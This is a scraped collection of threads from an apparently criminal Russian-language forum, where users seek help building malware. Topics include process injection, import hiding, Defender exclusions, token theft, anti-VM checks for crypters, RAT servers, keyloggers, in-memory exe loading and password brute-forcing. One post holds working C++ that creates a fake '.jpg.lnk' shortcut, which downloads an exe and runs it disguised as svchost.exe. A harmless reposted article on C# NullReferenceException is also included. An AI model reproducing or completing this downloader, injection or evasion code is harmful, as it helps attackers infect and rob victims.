IntPtr hProcess = OpenProcess (0x001F0FFF, false, 4804);
IntPtr addr = VirtualAllocEx (hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

string file = "HelloWorld.exe"; // payload
IntPtr outSize;

WriteProcessMemory (hProcess, addr, file, file.Length, out outSize);

IntPtr hThread = CreateRemoteThread (hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

}
}
}

Стаб RtlWow64GetThreadContext
ID: 6765d804b4103b69df375759
Thread ID: 104753
Created: 2023-12-27T20:32:17+0000
Last Post: 2023-12-27T21:29:23+0000
Author: Polym0rph
Replies: 2 Views: 357

Привет. Ищу человека у которого под рукой виртуальная машина с Windows 7 x64, нужен скриншот стаба функции ntdll!RtlWow64GetThreadContext (IDA PRO/аналог, не важно) Взамен отгружу лайков.

Почему при сокрытии импортов по хешам не получается получить доступ к части функциям?
ID: 6765d804b4103b69df375744
Thread ID: 106639
Created: 2024-01-25T09:32:32+0000
Last Post: 2024-02-04T06:22:50+0000
Author: Alexey18
Replies: 4 Views: 356

Столкнулся с проблемой, что допустим при работе с NtUnmapViewOfSection (ntdll.dll) либо с CreateProcessAsUserW(kernel32.dll), либо при работе с некоторыми функциями из(advapi32)
вылетает ошибка характера "нарушение прав доступа". При вызовах CreateProcessA, VirtualAlloc и других - проблем нет.

хотя если скрывать импорты просто по старинке через GetModuleHandleA->LoadLibruary->GetProcAddress, то таких проблем не будет. Работаю под x32

1706174760095.png
1706175082345.png

Подскажите, в чем проблема, почему при получении ProcessAdress по хешу, вылетает такая ошибка?

Подкиньте метод добавления в исключения exe в WinDef
ID: 6765d804b4103b69df375886
Thread ID: 74250
Created: 2022-10-12T07:58:06+0000
Last Post: 2022-10-12T22:26:31+0000
Author: merdock
Replies: 4 Views: 355

Подкиньте ссылку или пример на с++ метода добавления в исключения exe в WinDef. Хотелось бы если зло попало на компьютер и прошло все проверки добавить его в исключения на будущее.

Андроид КТ/Джава | Как найти идентификаторы ячеек графического пароля?
ID: 6765d804b4103b69df3756b2
Thread ID: 124408
Created: 2024-10-09T05:20:30+0000
Last Post: 2024-10-09T05:20:30+0000
Author: XDRevil
Replies: 0 Views: 354

Как найти идентификаторы ячеек графического пароля?
Пытаюсь через layout найти

C++ LLVM Custom ImageBase
ID: 6765d804b4103b69df37595f
Thread ID: 57704
Created: 2021-10-14T10:20:05+0000
Last Post: 2021-10-16T15:39:11+0000
Author: awaken1337
Replies: 4 Views: 354

Возможно ли как-то установить своё ImageBase при обфускации LLVM?

Не работает BCrypt
ID: 6765d804b4103b69df375928
Thread ID: 60327
Created: 2021-12-22T07:38:31+0000
Last Post: 2021-12-22T09:12:02+0000
Author: mov_ax
Replies: 4 Views: 354

Здравствуйте, господа. Использую в своём коде CryptoAPI Next Generation(CNG) для RSA шифрования текста. На этапе инициализации алгоритма и создания пары открытого/закрытого ключей всё работает и никаких ошибок нету, но после того как я хочу зашифровать какой-то текст через функцию BCryptEncrypt, эта функция просто не работает и возращает эта функция STATUS_INVALID_PARAMETER. В первом вызове BCryptEncrypt() я сначала получаю размер будущего зашифрованого текста в переменную encryptedBufferSize, но ничего не работает.
Помогите пожалуйста, что делать?

C:Copy to clipboard

BCRYPT_ALG_HANDLE hRsaAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;

    if (BCryptOpenAlgorithmProvider(&hRsaAlg, BCRYPT_RSA_ALGORITHM, NULL, 0) != STATUS_SUCCESS) {
        printA("[-] BCryptOpenAlgorithmProvider");
    }

    if (BCryptGenerateKeyPair(hRsaAlg, &hKey, 2048, 0) != STATUS_SUCCESS) {
        printA("[-] BCryptGenerateKeyPair");
    }

    CHAR text[] = "Password";
    DWORD encryptedBufferSize = 0;

    if (BCryptEncrypt(hKey, text, lstrlenA(text), NULL, NULL, 0, NULL, 0, &encryptedBufferSize, 0) != STATUS_SUCCESS) {
        DWORD err = GetLastError();
        char res[1024];
        wsprintfA(res, "%d", err);
        printA(res);
    }

   

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hRsaAlg, 0);
Кража токена доступа
ID: 6765d804b4103b69df375830
Thread ID: 80145
Created: 2023-01-17T06:27:52+0000
Last Post: 2023-01-17T08:06:04+0000
Author: 0x60b1iN
Replies: 1 Views: 353

Всем привет. Мне нужно украсть токен пользователя когда я под системой, в двух словах аналог steal_token как в кобе. Для этой задачи есть ряд методов на винапи например:

1. CreateProcessWithTokenW (создает процесс с переданным токеном);

2. ImpersonateLoggedOnUser (позволяет имперсонализировать пользователя для вызывающего потока);

3. SetThreadToken (позволяет установить токен доступа в определенный поток);

Проблема с первым - это то, что создаются процесс в новом окне постоянно, а нужно в текущем, в котором исполняется приложение. Например создать процесс cmd/PowerShell в этом же окне.

Проблема двух последних - это то, что токен можно установить в поток процесса самого приложения, а не в поток процесса который вызвал это приложение.

Короче, и так много воды налил. Как сделать чтобы я в cmd вызываю StealToken.exe /pid:<1234>, и в том же окне получаю cmd с токеном из процесса <1234>? Благодарю.

Как грамотно задать проверки на VM
ID: 6765d804b4103b69df37588b
Thread ID: 73289
Created: 2022-09-16T20:03:40+0000
Last Post: 2022-09-21T16:49:29+0000
Author: haspY
Replies: 7 Views: 349

Всем привет, подскажите пожалуйста - грамотный способ, как и какие проверки ( anti VM ) реализовать в крипторе ?
Пробовали по железу, но при проливе отсеивает значительную часть слабых пк (не отстукивает).

Заранее благодарю !

Mozhete li vy dat' mne neskol'ko sovetov, kak uluchshit' svoi navyki C++?
ID: 6765d804b4103b69df3757d1
Thread ID: 90168
Created: 2023-06-10T15:50:34+0000
Last Post: 2023-06-28T16:28:02+0000
Author: Restock3r
Replies: 3 Views: 349

Я хотел бы улучшить свою логику в C и C++, кто-то более опытный может дать мне совет, в настоящее время я сосредоточен на WinApi.

Handling Multiple Clients using sockets in C#
ID: 6765d804b4103b69df3757db
Thread ID: 89919
Created: 2023-06-07T12:58:07+0000
Last Post: 2023-06-07T16:42:45+0000
Author: GaryTheHackerSnail
Prefix: Статья
Replies: 4 Views: 349

In RAT network programming, it's often necessary to handle multiple client connections efficiently. In this article, we will explore how to manage multiple clients on a server using sockets in C#. We will demonstrate how to accept client connections and spawn individual threads to handle each client concurrently.

Prerequisites:
To follow along with this tutorial, you should have a basic understanding of C# programming and socket communication concepts.

Step 1: Set Up the Server
First, let's set up the server and listen for client connections. We will use the Socket class for this purpose.

C#:Copy to clipboard

List<Thread> clientThreads = new List<Thread>();
Socket listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
listener.Bind(new IPEndPoint(IPAddress.Any, 1337));
listener.Listen(10);

In the code above, we create a Socket instance named listener, bind it to a specific IP address and port, and set it to listen for incoming client connections with a backlog of 10 connections.

Step 2: Accept Client Connections
Next, we will accept client connections in an infinite loop using the Accept method and spawn a new thread to handle each client.

C#:Copy to clipboard

while (true)
{
    Socket clientSocket = listener.Accept();
    Thread clientThread = new Thread(() => HandleClient(clientSocket));
    clientThread.Start();
    clientThreads.Add(clientThread);
}

Inside the loop, we accept an incoming client connection by calling the Accept method on the listener socket. Once a client connects, we create a new thread clientThread and pass the client socket to the HandleClient method. We then start the thread and add it to the clientThreads list for later reference.

Step 3: Handle Client Communication
Now, let's define the HandleClient method to handle communication with each client.

C#:Copy to clipboard

void HandleClient(Socket clientSocket)
{
    // Handle communication with the client
    // Example code to send and receive data


    // Clean up resources when communication is finished
    clientSocket.Close();
}

Inside the HandleClient method, you can implement the logic to communicate with the client. This can include sending and receiving data/commands, processing client requests, and performing any necessary operations.

Remember to properly handle exceptions and close the client socket when the communication is finished to free up system resources.

Note: When working with multiple client connections, it's important to consider thread safety and synchronization mechanisms to avoid potential issues

Ошибка в работе демона на c++
ID: 6765d804b4103b69df37576f
Thread ID: 102662
Created: 2023-11-21T08:05:18+0000
Last Post: 2023-11-22T12:27:07+0000
Author: Luck1Tommy
Replies: 6 Views: 346

Имеется программа, которая мониторит папку и шифрует все файлы в ней, однако при больших размерах файлов или при переносе туда таковых во время работы, программа работает некорректно
Как это можно исправить?
Код функции, которая открывает файл и записывает в другой:

C++:Copy to clipboard

void encryptor(filesystem::path source, filesystem::path out, string k) {
  ifstream file_target;
  ofstream file_out;

  file_target.open(source);
  file_out.open(out);

  if (!file_target.is_open()) {
    cout << "ERROR" << endl;
  } else {
    string str;
    ByteArray byte_k(k.begin(), k.end());
    string big_str;

    while (getline(file_target, str)) {
      big_str += str;
      big_str += "\n";
    }

    ByteArray buffer;
    ByteArray big_byte_str(big_str.begin(), --big_str.end());
    Aes256::encrypt(byte_k, big_byte_str, buffer);
    for (auto x: buffer) {
      file_out << x;
    }

  }
  file_target.close();
  file_out.close();
}
WhiteBox софт для понимания С++ и С
ID: 6765d804b4103b69df37576c
Thread ID: 103008
Created: 2023-11-26T07:08:02+0000
Last Post: 2023-11-27T02:01:00+0000
Author: salsa20
Replies: 2 Views: 345

Чисто тема для интересующихся прогом
я думаю хорошо показывает как код работает изнутри

Вайт строит историческую линию после отработки
кому нужна прога пишите в лс. она платная

1700982421990.png

[C#]
ID: 6765d804b4103b69df375761
Thread ID: 104055
Created: 2023-12-14T08:17:10+0000
Last Post: 2023-12-18T21:31:11+0000
Author: waka1116
Replies: 2 Views: 344

I'm using Quasar RAT and I have some features that need to be edited or added.

I need someone to help me.

Shellcode injector
ID: 6765d804b4103b69df37578e
Thread ID: 98513
Created: 2023-09-21T04:19:26+0000
Last Post: 2023-09-21T04:19:26+0000
Author: святой бог
Replies: 0 Views: 342

Hello ! I am currently developing a shellcodeinjector written in java I already have the first reverse backdoor, but I need some help on how to integrate MsfRpc in my java application ?

Запуск exe из памяти
ID: 6765d804b4103b69df37589d
Thread ID: 70543
Created: 2022-07-23T11:31:21+0000
Last Post: 2022-08-14T12:49:17+0000
Author: fest
Replies: 3 Views: 342

Исходники прикрепленные ниже, позволяют любой файл exe запускать из памяти.
Раньше это использовалось для крипта, сейчас не знаю насколько это актуально.
Тем не менее запустить любой чужой exe файл в собственной программе, уже хорошее достижение.
В архиве два исходника один для х32 программ, другой для х64.

Дальнейшие действия:

Открываем exe файл в hex редакторе.

Файл -> Открыть
Выделить все
Файл -> Экспорт -> С

Копируем код и вставляем его в code.h

Все собираем проект.

[C#] Многозадачное приложение
ID: 6765d804b4103b69df3758eb
Thread ID: 63700
Created: 2022-03-02T10:45:46+0000
Last Post: 2022-03-08T13:37:45+0000
Author: Ags1of
Replies: 6 Views: 342

Написал приложение, у которого есть несколько функций, которые всё время крутят цикл while. Это защита от запуска диспетчера задач и ЮсбСерчер, они стоят на while(true) циклах, тем самым, не давая выполняться другим методам, да и вообще, когда в какой-то из этих метов заходит программа, то она весит только на нём, а дальше не идёт. А мне надо сделать так, чтобы и другие методы выполнялись тоже.

C#:Copy to clipboard

 async static Task Main(string[] args)
        {
            //AutoRun(IsInAutoRun());
            //Crash();
            //USBSearcher();
            //ToDef();
            //Defense();
            await StartDefensive();
            Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now);
            //SecondSaveFile();
            //HideConsole();
            //AllPathesToSave();
        async static Task StartDefensive()
        {
            Console.WriteLine("Подготовка к запуску защиты");
            await Task.Run(() => Defense());
            Console.WriteLine("Защита запущена!");
        }

        
         public static void Defense()
        {
            
            bool attack = false;
            

            while (1 > 0)
            {
                Thread.Sleep(2000);
                Console.WriteLine("Защита работает");
                Process[] procList = Process.GetProcesses();
                string[] attackedProcess = { "processhacker", "taskmgr" };

                foreach (Process p in procList)
                {
                    
                    for (int i = 0; i < attackedProcess.Length; i++)
                    {
                        if (p.ProcessName.ToLower() == attackedProcess[i])
                        {
                            Console.WriteLine("Detected: " + p.ProcessName);
                            attack = true;
                            if (attack)
                            {
                                Console.WriteLine("Процесс прекращён");

                                string[] exit = { "false" };
                                Main(exit);
                            }
                        }
                        else
                        {
                            
                            continue;
                        }
                    }
                    
                }
                Console.WriteLine("\n");

                if (attack)
                {
                    break;
                }
            }
        }
        
      public static void USBSearcher()
        {
            Console.Write("Add Path: ");
            string PATH = Console.ReadLine();
            
            while (true)
            {
                Thread.Sleep(2000);
                foreach (var dInfo in DriveInfo.GetDrives())
                {
                    if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
                    {
                        Console.WriteLine(dInfo);
                        string USBPath = dInfo.ToString();
                        try
                        {
                            string outFile =USBPath + Path.GetFileName(PATH); ;
                            File.Move(PATH, outFile);
                            Console.WriteLine("Yes");
                        }
                        catch
                        {
                            Console.WriteLine("No");
                        }
                        
                    }
                    else
                    {
                        Console.WriteLine("No");
                        continue;
                    }
                }
            }
        }
[C++] Перебор паролей Windows
ID: 6765d804b4103b69df37593f
Thread ID: 59200
Created: 2021-11-23T16:01:23+0000
Last Post: 2021-11-26T16:57:42+0000
Author: UZipB
Replies: 3 Views: 341

Новичок в C++. Не нашел информации в интернете насчет перебора паролей Windows. Имеется локальная сеть, и я так понял, нужно отправлять запрос серверу и сверять пароль брута с паролем на сервере, но реализовать или найти информацию об этом не могу. Может ли кто-то может помочь или посоветовать что- то посмотреть/почитать на эту тему?

Правда ли что в VS 2008-2010 была возможность делать C++ Win Forms интерфейсы?
ID: 6765d804b4103b69df375725
Thread ID: 111236
Created: 2024-03-24T18:33:54+0000
Last Post: 2024-03-24T22:30:53+0000
Author: Alexey18
Replies: 5 Views: 341

Хотел бы написать белый софт с формой аля Win Forms под это дело. (Ресурсы и с событиями не оч хочется морочиться, а тем более MFC и QT, или вообще использовать CLR ).
Смотрел видеоролик 2010 года, где араб создаёт проект "C++ Windows Forms" и задался вот этим вопросом
Нейросеть отвечает на этот вопрос что да, действительно было возможно, а в 2017 студии вроде как убрали(с 2019 точно).

Что думаете по этому поводу? хотелось бы написать простое приложение аля под формы на плюсах. Видел просто подобные чит-лоадеры(которые были вроде чисто на винапи, но интерфейс и элементы как в windows forms(не win xp / 98)

.LNK Powershell Downloader
ID: 6765d804b4103b69df375820
Thread ID: 81846
Created: 2023-02-13T01:29:37+0000
Last Post: 2023-02-13T01:29:37+0000
Author: netix
Replies: 0 Views: 340

Sobral tokoi code, rabotoet norm, tok kak etot sam .lnk zagruzit naprimer na websever?
Probiwal .lnk w .zip minat ima i posle downloada wihodit ima: a.downloaded

Code:Copy to clipboard

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <tchar.h>
#include <wininet.h>
#include <urlmon.h> 
#include <Shlwapi.h>
#include <sddl.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h> 

void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
    IShellLinkW *psl;

    HRESULT hres;
    
    CoInitialize(NULL);
    
    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);

    if (SUCCEEDED(hres) && psl)
    {
        WCHAR wszLnkArg[MAX_PATH];
        
        wsprintfW(wszLnkArg, L"/c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://link/k.exe','%%userprofile%%\\svchost.exe');Start-Process '%%userprofile%%\\svchost.exe'&exit");    

        psl->SetPath(L"%windir%\\System32\\cmd.exe");
        psl->SetIconLocation(lpIconFile, iIconIndex);
        psl->SetShowCmd(SW_SHOWMINNOACTIVE);
        psl->SetArguments(wszLnkArg);

        IPersistFile *ppf;

        hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);

        if (SUCCEEDED(hres) && ppf)
        {
            ppf->Save(lpLnkFile, TRUE);
            ppf->Release();
        }

        psl->Release();
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)    
{
    Sleep(2000);
    
    CreateShortCutW(L"PIC0402023.jpg.lnk", L"shell32.dll", 325);

    return 0;
}

[/CODE
[C#] Кейлоггер: ошибка в выводе
ID: 6765d804b4103b69df37583a
Thread ID: 78931
Created: 2022-12-29T11:09:38+0000
Last Post: 2022-12-29T11:09:38+0000
Author: Ags1of
Replies: 0 Views: 340

Всем привет, помогите.пожалуйста, с кейлоггером.Погуглил, почитал про хуки и тд. И сделал кейлоггер, правда, он сыроват, потому что пишет Capital вместо капс лока и тд. Но, как всё это фиксить, я примерно понимаю. Моя главная задача сейчас - убрать повторение клавиш. т.е. все клавиши, которые нажимаются, выводятся на консоль, но прикол в том, что если я нажму на одну клавишу, то она в консоль выведется 2 раза. Я подозреваю, что это из-за того, что у меня ловится 2 события (кнопка опущена, кнопка поднята), но я просто не могу найти уже у себя в коде это. Помогите, пожалуйста. https://pastebin.com/CZEvaA4c
Так же принимается критика кода, ведь это только улучшит проект и даст мне больше знаний и понимания. Спасибо!

NullReferenceException в C#. Что это такое и как исправить?
ID: 6765d804b4103b69df3757da
Thread ID: 89962
Created: 2023-06-07T21:30:50+0000
Last Post: 2023-06-07T21:30:50+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 340

NullReferenceException (NRE) — тип исключения платформы .NET, возникающий при попытке обращения по нулевой ссылке. В заметке рассмотрим причины, из-за которых возникают исключения этого типа, а также способы их предотвращения и исправления.
![1049_NullReferenceException_ru/image1.png](/proxy.php?image=https%3A%2F%2Fcdn.pvs- studio.com%2Fimport%2Fdocx%2Fblog%2F1049_NullReferenceException_ru%2Fimage1.png%3Fver%3D05-02-2023-11-08-16&hash=45272ac3a8d8adc4679f9f2a914fe244)

Из-за чего возникает исключение NullReferenceException?​

Теория​

Переменные ссылочных типов в C# хранят ссылки на объекты. Чтобы обозначить, что ссылка не указывает на объект, используют значение null. Стоит также отметить, что null — значение выражений ссылочных типов по умолчанию.

Исключение типа NullReferenceException возникает при попытке обращения по нулевой ссылке. Операции, при которых может возникнуть исключение, мы перечислим ниже.

Рассмотрим пример:

C:Copy to clipboard

Object notNullRef = new Object();
Object nullRef = default;

int hash;
hash = notNullRef.GetHashCode();
hash = nullRef.GetHashCode(); // NullReferenceException (NRE)

В коде объявляются две переменные ссылочного типа ObjectnotNullRef и nullRef :

  • notNullRef хранит ссылку на объект, созданный в результате вызова конструктора типа Object ;
  • nullRef содержит default-значение типа Objectnull.

![1049_NullReferenceException_ru/image2.png](/proxy.php?image=https%3A%2F%2Fcdn.pvs- studio.com%2Fimport%2Fdocx%2Fblog%2F1049_NullReferenceException_ru%2Fimage2.png%3Fver%3D05-02-2023-11-08-16&hash=55a1e4faa5f9919aa4ece3e9a7eb96df)
Вызов метода GetHashCode через ссылку в notNullRef отработает нормально, так как ссылка указывает на объект. При попытке вызова того же метода для nullRef средой CLR будет выброшено исключение типа NullReferenceException.

Ниже мы рассмотрим, откуда могут прийти null -значения и какие операции могут привести к исключению NullReferenceException.

Как в переменную может попасть null-значение​

Рассмотрим примеры того, как в переменную может попасть значение null.

1. Явная запись значения null или default.

C:Copy to clipboard

String name = null;
var len = name.Length; // NRE

Результатом выражения default и default(T) для ссылочных типов также будет null.

C:Copy to clipboard

Object obj = default; // or default(Object)
var hash = obj.GetHashCode(); // NRE

2. Инициализация поля ссылочного типа по умолчанию.

C:Copy to clipboard

class A
{
  private String _name;
  public void Foo()
  {
    var len = _name.Length; // NRE
  }
}

var obj = new A();
obj.Foo();

В этом примере поле _name инициализируется значением по умолчанию. На момент вызова Foo поле _name равно null , поэтому при обращении к свойству Length будет выброшено исключение.

3. Результат работы null-conditional оператора (?.).

C:Copy to clipboard

String name = user?.Name;
var len = name.Length; // Potential NRE

Если значение user или user.Name будет равно null , в переменную name также будет записано значение null. В таком случае при обращении к свойству Length без проверки на null возникнет исключение.

4. Результат приведения с использованием оператора as.

C:Copy to clipboard

Object obj = new Object();
String name = obj as String; // unsuccessful cast, name is null
var len = name.Length; // NRE

Результатом преобразования с помощью оператора as будет значение null , если преобразование выполнить не удалось.

В примере выше переменная obj хранит ссылку на экземпляр типа Object. Попытка приведения obj к типу String закончится неудачей, в результате чего в name будет записано значение null.

5. Результат работы *OrDefault метода.

Методы вида *OrDefault (FirstOrDefault , LastOrDefault и т. п.) из стандартной библиотеки возвращают значение по умолчанию, если значение предиката не подходит ни для одного элемента или коллекция пустая.

C:Copy to clipboard

String[] strArr = ....;
String firstStr = strArr.FirstOrDefault();
var len = firstStr.Length; // Potential NRE

Если в массиве strArr нет элементов, метод FirstOrDefault вернёт значение default(String)null. При разыменовании нулевой ссылки возникнет исключение.

6. Упаковка default значения типа Nullable .

Результатом упаковки экземпляров Nullable с default -значением будет null.

C:Copy to clipboard

long? nullableLong1 = default;
long? nullableLong2 = null;

Nullable<long> nullableLong3 = default;
Nullable<long> nullableLong4 = null;
Nullable<long> nullableLong5 = new Nullable<long>();


var nullableToBox = ....; // nullableLong1 — nullableLong5

object boxedValue = (Object)nullableToBox; // null
_ = boxedValue.GetHashCode(); // NRE

При записи в переменную nullableToBox любого из значений nullableLong1nullableLong5 и последующей упаковки результатом будет null. При использовании такого значения без проверки на null будет выброшено исключение.

Операции с null-значением, приводящие к исключению​

В этом разделе перечислены операции, выполнение которых с null -значением приведёт к исключению NullReferenceException.

1. Явное обращение к члену объекта.

C:Copy to clipboard

class A
{
  public String _name;
  public String Name => _name;
  public String GetName() { return _name; }
}

A aObj = null;
_ = aObj._name; // NRE
_ = aObj.Name; // NRE
_ = aObj.GetName(); // NRE

То же самое — при разыменовании внутри метода:

C:Copy to clipboard

void Foo(A obj)
{
  _ = obj.Name;
}

A aObj = null;
Foo(aObj); // NRE inside method

2. Обращение по индексу.

C:Copy to clipboard

int[] arr = null;
int val = arr[0]; // NRE

3. Вызов делегата.

C:Copy to clipboard

Action fooAct = null;
fooAct(); // NRE

4. Итерирование в foreach.

C:Copy to clipboard

List<long> list = null;
foreach (var item in list) // NRE
{ .... }

Обратите внимание, что оператор '?.' здесь не поможет:

C:Copy to clipboard

foreach (var item in wrapper?.List) // Potential NRE
{ .... }

Если wrapper или wrapper.List равны null , всё так же будет выброшено исключение.

5. Использование null -значения в качестве операнда для await.

C:Copy to clipboard

Task GetPotentialNull()
{
  return _condition ? .... : null;
}
await GetPotentialNull(); // Potential NRE

6. Распаковка null -значения.

C:Copy to clipboard

object obj = null;
int intVal = (int)obj; // NRE

7. Выброс исключения с null -значением.

C:Copy to clipboard

InvalidOperationException invalidOpException
  = flag ? new InvalidOperationException()
         : null;

throw invalidOpException; // Potential NRE

В переменную invalidOpException может быть записано значение null. В этом случае оператор throw выбросит исключение типа NullReferenceException.

8. Разыменование значения свойства Target у экземпляра типа WeakReference.

C:Copy to clipboard

void ProcessIfNecessary(WeakReference weakRef)
{
  if (weakRef.IsAlive)
    (weakRef.Target as DataProcessor).Process(); // Potential NRE
}

Ссылка в WeakReference указывает на объект, при этом не защищая его от сборки мусора. Если объект попадёт под сборку мусора после проверки weakRef.IsAlive , но до вызова метода Process , то:

  • значением weakRef.Target будет null ;
  • результатом оператора as также будет null ;
  • при попытке вызова метода Process будет выброшено исключение NullReferenceException.

9. Использование значения поля ссылочного типа до явной инициализации.

C:Copy to clipboard

class A
{
  private String _name;
  public A()
  {
    var len = _name.Length; // NRE
  }
}

На момент обращения к свойству Length поле _name проинициализировано значением по умолчанию (null). Результат обращения — исключение.

10. Небезопасный вызов обработчиков события в многопоточном коде.

C:Copy to clipboard

public event EventHandler MyEvent;

void OnMyEvent(EventArgs e)
{
  if (MyEvent != null)
    MyEvent(this, e); // Potential NRE
}

Если между проверкой MyEvent != null и вызовом обработчиков события MyEvent у него не останется подписчиков, при вызове будет выброшено исключение типа NullRefernceException.

Как исправить исключение NullReferenceException​

Чтобы избежать исключений типа NullReferenceException , исключите ситуацию разыменования нулевых ссылок. Для этого:

  • определите, откуда в выражение попадает нулевая ссылка;
  • измените логику работы приложения, чтобы доступа по нулевой ссылке не происходило.

Рассмотрим пример:

C:Copy to clipboard

foreach (var item in potentialNullCollection?.Where(....))
{ .... }

Если значением potentialNullCollection будет null , оператор '?.' также вернёт значение null. При попытке обхода коллекции в цикле foreach возникнет исключение.

Если potentialNullCollection в данном фрагменте кода никогда не равен null , стоит убрать оператор '?.', чтобы не запутать разработчиков и инструменты анализа кода:

C:Copy to clipboard

foreach (var item in potentialNullCollection.Where(....))
{ .... }

Если potentialNullCollection может принимать значение null , стоит добавить явную проверку или использовать оператор '??'.

C:Copy to clipboard

// 1
if (potentialNullCollection != null)
{
  foreach (var item in potentialNullCollection.Where(....))
  { .... }
}

// 2
foreach (var item in    potentialNullCollection?.Where(....)
                     ?? Enumerable.Empty<T>)
{ .... }

Примечание. Добавить проверку на неравенство null — самый простой способ защититься от NullReferenceException. Однако иногда такая правка будет не решать исходную проблему, а только маскировать её. Поэтому при исправлении кода полезно думать о том, достаточно ли будет добавить проверку или нужно исправить в коде что-то ещё.

Как предотвратить исключения NullReferenceException​

Кроме достаточно очевидного совета "не разыменовывать нулевые ссылки" есть несколько практик, которые помогут избежать возникновения исключений NRE.

Используйте nullable-контекст​

Без использования nullable-контекста значение null считается допустимым для ссылочных типов:

C:Copy to clipboard

String str = null; // No warnings

Начиная с C# 8, в языке появилась возможность использовать nullable-контекст. Он вводит понятие nullable reference types. В nullable-контексте ссылочные типы считаются не допускающими значения null. Например, при использовании nullable-контекста на код, который мы только что рассмотрели, компилятор выдаст предупреждение:

C:Copy to clipboard

String str = null; // CS8600

Предупреждение: CS8600 Converting null literal or possible null value to non- nullable type.

Аналогичная ситуация при вызове методов:

C:Copy to clipboard

void ProcessUserName(String userName)
{
  var len = userName.Length;
  ....
}
....
ProcessUserName(null); // CS8625

Предупреждение компилятора: CS8625 Cannot convert null literal to non- nullable reference type.

Чтобы указать компилятору, что переменная ссылочного типа может принимать значение null , используется символ '?':

C:Copy to clipboard

String firstName = null; // CS8600
String? lastName = null; // No warning

При попытке разыменовать nullable-переменную без проверки на null компилятор также выдаст предупреждение:

C:Copy to clipboard

void ProcessUserName(String? userName)
{
  var len = userName.Length; // CS8602
}

Предупреждение компилятора:CS8602 - Dereference of a possibly null reference.

Если нужно указать компилятору, что в конкретном месте кода выражение точно не имеет значения null , можно использовать null-forgiving оператор — '!'. Пример:

C:Copy to clipboard

void ProcessUserName(String? userName)
{
  int len = default;
  if (_flag)
    len = userName.Length; // CS8602
  else
    len = userName!.Length; // No warnings
}

Таким образом, nullable-контекст помогает писать код так, чтобы минимизировать возможность разыменования нулевых ссылок.

Включить nullable-контекст можно несколькими способами:

  • изменить соответствующую опцию в настройках проекта ("Nullable" в Visual Studio или "Nullable reference types" в JetBrains Rider);
  • самостоятельно прописать настройку в проектном файле (.csproj): < Nullable>enable;
  • с помощью директив #nullable enable / #nullable disable в коде.

У nullable-контекста куда больше возможностей для настройки.

Примечание. Обратите внимание, что nullable-context влияет на выдачу предупреждений компилятором, но не на логику исполнения приложения.

C:Copy to clipboard

String? str = null;
var len = str!.Length;

Компилятор не выдаст предупреждения на этот код, так как в нём используется null-forgiving оператор. Однако на этапе исполнения в коде возникнет исключение типа NullReferenceException.

Используйте статический анализ​

Статические анализаторы помогают находить дефекты безопасности и ошибки в коде. В том числе анализаторы помогают находить места возникновения исключений типа NullReferenceException.

Пример такого статического анализатора — [PVS-Studio](https://pvs- studio.ru/ru/pvs-studio/).

Рассмотрим пример C# кода, в котором может возникнуть NullReferenceException.

C:Copy to clipboard

private ImmutableArray<char>
GetExcludedCommitCharacters(ImmutableArray<CompletionItem> items)
{
  var hashSet = new HashSet<char>();
  foreach (var item in items)
  {
    foreach (var rule in item.Rules?.FilterCharacterRules)
    {
      if (rule.Kind == CharacterSetModificationKind.Add)
      {
        foreach (var c in rule.Characters)
        {
          hashSet.Add(c);
        }
      }
    }
  }

  return hashSet.ToImmutableArray();
}

Во втором цикле foreach разработчики выполняют обход коллекции FilterCharacterRules , для получения которой используют выражение roslynItem.Rules?.FilterCharacterRules. Оператор '?.' предполагает, что свойство Rules может иметь значение null. Однако если результатом выражения будет null , при попытке перебора null -значения в foreach всё равно возникнет NullReferenceException.

PVS-Studio находит эту проблему и выдаёт предупреждение [V3153](https://pvs- studio.ru/ru/docs/warnings/v3153/).

![1049_NullReferenceException_ru/image3.png](/proxy.php?image=https%3A%2F%2Fcdn.pvs- studio.com%2Fimport%2Fdocx%2Fblog%2F1049_NullReferenceException_ru%2Fimage3.png%3Fver%3D05-02-2023-11-08-16&hash=2f40832c4eaa71e6d23147b6cf0a9777)
Если items.Rules действительно может иметь значение null , защититься от NullReferenceException можно дополнительной проверкой:

C:Copy to clipboard

foreach (var item in items)
{
  if (item.Rules == null)
    continue;

  foreach (var rule in item.Rules.FilterCharacterRules)
  {
    ....
  }
}

Анализатор не будет выдавать предупреждение на такой код.

Автор Сергей Васильев
источник pvs-studio.ru

Устройство на работу для Rust разработчика
ID: 6765d804b4103b69df375800
Thread ID: 84648
Created: 2023-03-27T23:13:18+0000
Last Post: 2023-04-03T20:51:22+0000
Author: SKAZKAA
Replies: 3 Views: 340

Во многие компании требуются разработчики на C++ и других популярных ЯП.
Из этого вытекает вопрос: Сложно ли будет устроиться на работу Rust разработчику?

Исходники Malware или Exploitov на С++
ID: 6765d804b4103b69df375902
Thread ID: 62912
Created: 2022-02-13T15:35:44+0000
Last Post: 2022-02-13T21:45:30+0000
Author: borsch
Replies: 2 Views: 338

Всем привет, кому не трудно поделитесь пожалуйста где можно найти исходники вирусов на С++ (за ранее спасибо)

Разработка вредоносных программ
ID: 6765d804b4103b69df375911
Thread ID: 61907
Created: 2022-01-24T13:18:08+0000
Last Post: 2022-01-27T02:16:13+0000
Author: loftkit
Replies: 2 Views: 338

I program in C/C++, and I wondered how best to get into Malware Development. I am learning the Windows API, amongst other things. (i.e., X86-64 Assembly, Rust, Python). Is there anything I should take a look at or explore more to have a better understanding of how things will work?

Sorry if this is a dumb question. It is just something I am interested in and would love to learn more about:)

